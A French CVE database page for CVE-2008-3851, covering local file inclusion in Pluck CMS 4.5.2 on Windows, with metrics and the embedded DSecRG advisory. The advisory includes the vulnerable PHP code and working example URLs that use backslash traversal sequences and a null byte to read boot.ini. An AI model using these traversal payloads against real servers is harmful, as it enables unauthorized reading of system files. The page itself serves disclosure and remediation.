CVE-2008-3851 : Détail

CVE-2008-3851

Directory Traversal
A01-Broken Access Control
1.63%V3
Network
2008-08-27
21h00 +00:00
2018-10-11
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple directory traversal vulnerabilities in Pluck CMS 4.5.2 on Windows allow remote attackers to include and execute arbitrary local files via a ..\ (dot dot backslash) in the (1) blogpost, (2) cat, and (3) file parameters to data/inc/themes/predefined_variables.php, as reachable through index.php; and the (4) blogpost and (5) cat parameters to data/inc/blog_include_react.php, as reachable through index.php. NOTE: the issue involving vectors 1 through 3 reportedly exists because of an incomplete fix for CVE-2008-3194.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 6300

Date de publication : 2008-08-24 22h00 +00:00
Auteur : DSecRG
EDB Vérifié : Yes

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-037 Application: Pluck CMS Versions Affected: 4.5.2 Vendor URL: http://www.pluck-cms.org/ Bug: Multiple Local File Include Exploits: YES Reported: 28.07.2008 Vendor Response: 03.08.2008 Solution: YES Date of Public Advisory: 25.08.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Pluck CMS has Multiple Local File Include vulnerabilities. Details ******* 1. Local File Include vulnerabilities found in script data/inc/themes/predefined_variables.php Vulnerable GET parameters "blogpost", "cat" and "file". First discovered by AmnPardaz Security Research Team [http://www.bugreport.ir/index_48.htm]. Vendor fixed vulnerability in version 4.5.2 by blocking directly access to this file [http://www.pluck-cms.org/releasenotes.php#4.5.2]. However, attacker still can exploit this vulnerability from index.php file. Code [line 15-46] ----------------- ################################################# //Make sure the file isn't accessed directly if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){ //Give out an "access denied" error echo "access denied"; //Block all other code exit(); } //Include Translation data include ("data/settings/langpref.php"); include ("data/inc/lang/$langpref"); //Get Site-title $sitetitle = file_get_contents("data/settings/title.dat"); //Get the page-data $filetoread = $_GET['file']; $album = $_GET['album']; $blogpost = $_GET['blogpost']; $cat = $_GET['cat']; if (($filetoread) && (file_exists("data/content/$filetoread"))) { include "data/content/$filetoread"; } elseif ($album) { $title = $album; } elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) { include("data/blog/$cat/posts/$blogpost"); } elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) { $title = $lang_front1; $content = $lang_front2; } ################################################# Pluck CMS has security module that checks for hacking attempts and blocks them. Code ---- ################################################# //Remote File Inclusion //Check for strange characters in $_GET keys //All keys with "/" or ":" are blocked, so it becomes virtually impossible to inject other pages or websites foreach ($_GET as $get_key => $get_value) { if ((ereg("/", $get_value)) || (ereg(":", $get_value))) { eval("unset(\${$get_key});"); die("A hacking attempt has been detected. For security reasons, we're blocking any code execution."); } } ################################################# This vulnerability can be exploited only on systems that accept backslash as a path separator. Example: http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 2. Local File Include vulnerabilities found in script data/inc/blog_include_react.php Vulnerable GET parameters "blogpost" and "cat". Code [line 15-30] ----------------- ################################################# //Make sure the file isn't accessed directly if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){ //Give out an "access denied" error echo "access denied"; //Block all other code exit(); } //Predefined variable $blogpost = $_GET['blogpost']; $cat = $_GET['cat']; $pageback = $_GET['pageback']; list($reactiondir, $extension) = explode(".", $blogpost); //Include the blogpost include("data/blog/$cat/posts/$blogpost"); ################################################# Attacker can exploit vulnerability from index.php file. This vulnerability can be exploited only on systems that accept backslash as a path separator. Example: http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 Solution ******** Vendor fix this flaw on 22.08.2008. New version of Pluck CMS 4.5.3 can be download here: http://www.pluck-cms.org/download.php Release notes: http://www.pluck-cms.org/releasenotes.php#4.5.3 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) # milw0rm.com [2008-08-25]

Products Mentioned

Configuraton 0

Microsoft>>Windows >> Version *

Pluck>>Pluck >> Version 4.5.2

    Références

    http://www.securityfocus.com/bid/30820
    Tags : vdb-entry, x_refsource_BID
    http://securityreason.com/securityalert/4195
    Tags : third-party-advisory, x_refsource_SREASON
    https://www.exploit-db.com/exploits/6300
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://secunia.com/advisories/31607
    Tags : third-party-advisory, x_refsource_SECUNIA